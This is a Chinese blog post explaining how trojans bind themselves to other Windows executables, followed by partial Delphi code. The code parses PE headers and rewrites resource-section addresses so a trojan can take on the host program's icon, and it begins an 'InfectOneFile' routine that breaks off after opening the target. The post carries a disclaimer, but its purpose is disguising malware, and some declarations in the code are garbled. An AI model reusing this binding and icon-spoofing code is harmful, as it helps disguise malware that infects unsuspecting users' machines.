文件捆绑感染方式编程

 近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式 
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是: 
 可以捆绑任何程序
缺点是: 
 运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:(Demo下载)
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面 
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码

【全文】

function Align(Size, AlignBase: integer): Integer;
begin
if Size mod AlignBase <> 0 then
   Result := (Trunc(Size / AlignBase) + 1) * AlignBase
else 
   Result := Size;
end;
procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
   I:integer;
   DosHeader: TImageDosHeader;
   NTHeader: TImageNtHeaders; {NtHeader} 
   dRead: DWORD;
begin
SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
//非PE 退出
if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
//非PE 退出
if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
begin
    ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
    if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
    begin
   SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
   SetLength(AStream, ASectionHeader.SizeOfRawData);
   ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
   Exit;
    end;
end;
end;
function StripHighBit(L: Longint): DWORD;
begin
   Result := L and $7FFFFFFF;
end;
function HighBitSet(L: Longint): Boolean;
begin
   Result := (L and $80000000) <> 0;
end;
function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
   Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
         BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;
function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;
begin 
   Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
         BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;
function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
   I: Integer;
   ResourceDirectoryEntryImageResourceDirectoryEntry;
   Data: PImageResourceDataEntry;    
begin
   Result := True;
   ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
                        + SizeOf(TImageResourceDirectory));
   for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
   begin
   if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
   begin
   {目录递归调用,把下级的资源列出来}
       FixRsrc(PImageResourceDirectory(StripHighBit(
            ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
            BaseEntry, OldVA, NewVA);
   end
   else
   begin
       {资源}
       Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
       //修正RVA
       Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;  
   end;
   inc(ResourceDirectoryEntry);
   end;
end;
function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var 
   F,F1,F2: THandle;
   dRead: DWORD;
   fsDes, fsSrc, len, i, lastPos, oldSize: integer;
   pRsrc,LoadStream: PStream;
   DosHeader: PImageDosHeader;
   NTHeader: PImageNtHeaders; {NtHeader}
   pSH,pSectionHeader: PImageSectionHeader;
   SectionHeader: TImageSectionHeader;
   Section: PSections;
   fectStream : TResourceStream;
begin
   Result := ’’;
   pRsrc := nil;
   //打开需要感染的目标文件  
   F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
   try
if F = INVALID_HANDLE_VALUE then
begin
   Result := ’打开目标文件失败!’;
   Exit;
end;    

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值